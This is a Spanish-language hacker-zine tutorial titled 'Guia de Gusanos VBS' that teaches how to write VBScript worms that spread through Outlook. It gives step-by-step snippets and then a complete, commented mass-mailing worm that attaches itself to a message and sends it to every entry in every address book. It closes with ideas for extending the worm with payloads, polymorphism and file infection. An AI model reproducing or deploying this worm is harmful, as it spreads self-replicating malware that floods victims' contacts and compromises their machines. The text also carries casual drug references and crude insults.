Copy Link
Add to Bookmark
Report
3x07: Guia de Gusanos VBS
-[ 3x07.txt ]----------------------------------------------------------------
-[ Guia de Gusanos VBS ]-------------------------------------- --[ LiteSYS ]-
----------------------------------------------------[ liteno2@softhome.net ]-
Æ INTRO
Buenas noches camaradas, compatriotas bolivarianos, les transmite desde
Radio Basura 66.6 FM LiteSys el comandante en jefe de si mismo y nadie
mas. Esta noche tendremos una breve conversacion y discusion acerca de
los gusanos escritos en el lenguaje mas facil y estupido que la mente
de los programadores de microsoft haya podido concebir: VBS. Antes de
nada les recomiendo meterse un buen cacho, pueden pedirselo a un
junkie en el centro de su ciudad por luca y medio tienen un buen porro,
y luego que esten high, leanse esto :), que desperdicio de monte.
Æ EL CONCEPTO
Muchos habran visto lo que hizo loveletter hace un a§o y medio,
es obvio que tanto la facilidad de escritura como la compatibilidad
de los gusanos VBS. El problema es obvio: debido a la ya mencionada
facilildad de programacion nunca falta un lamer que se copia el
codigo de otro :P, sucede tambien lo mismo que con los virus macro
de Word: casi todos son iguales, ninguna diferencia, nada nuevo ni
especial. La misma mierda.
Es obvio que se necesitan ciertos conocimientos de VBS para poder
escribir un gusano, si no les recomiendo que no lean, no van a
entender.
La manera de reproduccion que discutiremos en este texto es el
envio en Outlook (me refiero al Outlook comun, no al Outlook Express),
es obvio que existen otras, como la reproduccion
a traves de redes con shares compartidos o canales de IRC. Pero
para eso les recomiendo que lean Trenchcoat Diaries, ahi aparece
un texto sobre spreading con mIRC si les interesa, y para lo de
redes les recomiendo leer los codigos de Zulu, actualmente el
mejor virus coder bajo VBS y JS.
Primero que nada necesitamos obtener el nombre de nuestro Script
esto es bastante facil si hacemos lo siguiente.
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
MiNombre = WScript.ScriptFullName
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
Luego debemos crear un objeto de Outlook, para ello hacemos as°,
asignandoselo a una variable, obvio es:
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
Set Outlook = CreateObject("Outlook.Application")
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
Despues de ello debemos obtener el espacio de MAPI, MAPI es
la interfaz utilizada por Windows para enviar correo, entonces,
la obtenemos en base al objeto de Outlook que obtuvimos antes.
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
Set EsteLibro = MAPI.AddressLists.Item(I)
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
Despues de esto no queda mucho, debemos hacer un ciclo desde la
primera de las libretas de direcciones hasta la ultima, y dentro
de ese ciclo generamos un mensaje de correo con otro ciclo en el
cual a§adimos todas las direcciones de la libreta a los destinatarios
del mensaje. Facil y simple.
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
For LIBs = 1 to MAPI.AddressLists.Count
Set Mensaje = Outlook.CreateItem(0)
Set EsteLibro = MAPI.AddressLists.Item(LIBs)
Mensaje.Attachments.Add MiNombre
Mensaje.Subject = "Tu Madre es Tonta"
Mensaje.Body = "Loquesea y Urbe son una mierda"
Set Direcciones = EsteLibro.AddressEntries
Set Destinos = Mensaje.Recipients
For x = 1 to Direcciones.Count
Mensaje.Recipients.Add Direcciones.Item(x)
Next
Mensaje.Send
Next
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
El codigo habla por si solo, sin embargo, aqui tienen el codigo
entero de un worm de Outlook full comentado. Si no entienden despues
de esto les recomiendo que vendan su computador y se compren un
cerebro.
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
On Error Resume Next 'Control de errores.
MiNombre = WScript.ScriptFullName 'Obtiene el nombre
'del Script.
Set Outlook = CreateObject("Outlook.Application") 'Crea un objeto de
'Outlook.
Set MAPI = Outlook.GetNameSpace("MAPI") 'Obtiene un espacio
'de MAPI.
For LIBs = 1 to MAPI.AddressLists.Count 'Inicia un ciclo para
'todas las libretas
'de direcciones.
Set Mensaje = Outlook.CreateItem(0) 'Crea un mensaje.
Set EsteLibro = MAPI.AddressLists.Item(LIBs) 'Obtiene la libreta
'de direcciones
'actual en el ciclo.
Mensaje.Attachments.Add MiNombre 'A§ade este script
'como Attachment en
'el mensaje.
Mensaje.Subject = "Tu Madre es Tonta" 'Define el titulo
'del mensaje.
Mensaje.Body = "Loquesea y Urbe son una mierda" 'Define el cuerpo
'del mensaje.
Set Direcciones = EsteLibro.AddressEntries 'Obtiene las dires
'del libro actual.
Set Destinos = Mensaje.Recipients 'Obtiene la lista
'de recipientes para
'el mensaje actual.
For x = 1 to Direcciones.Count 'Inicia un ciclo
'desde la primera
'de las direcciones
'en la libreta
'actual.
Mensaje.Recipients.Add Direcciones.Item(x) 'A§ade una direccion
'a los destinatarios
'del mensaje actual.
Next 'Fin del ciclo de los
'Destinatarios.
Mensaje.Send 'Env°a el mensaje :P
Next 'Fin del ciclo de las
'libretas.
ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
Esa es la base de un gusano VBS, es lo mas logico y primitivo que
se puede hacer bajo este lenguaje y es totalmente detectable por
cualquier AV que se respete.
Ahora bien, se le pueden colocar otros "addons" al gusano VBS, tales
como:
> Una llave en el registro para evitar el reenv°o repetitivo del
gusano cada vez que se ejecute.
> Un simple payload, cualquiera que sea.
> Reproduccion a traves de redes o canales de IRC.
> Encriptacion y Polimorfismo.
> Infeccion de archivos VBS, HTML o cualquiera que se te ocurra.
> Tu veras que mas.
En realidad se pueden hacer alguna que otra cosa con este lenguaje,
sin embargo es bastante tonto...
No tengo nada mas que decir, estoy sin ganas de escribir algo mas
para este piche lenguaje.
Adios,
LiteSys
http://www.xakercentral.com // http://litesys.host.sk
liteno2@softhome.net / litesys@monte.as
--EOF--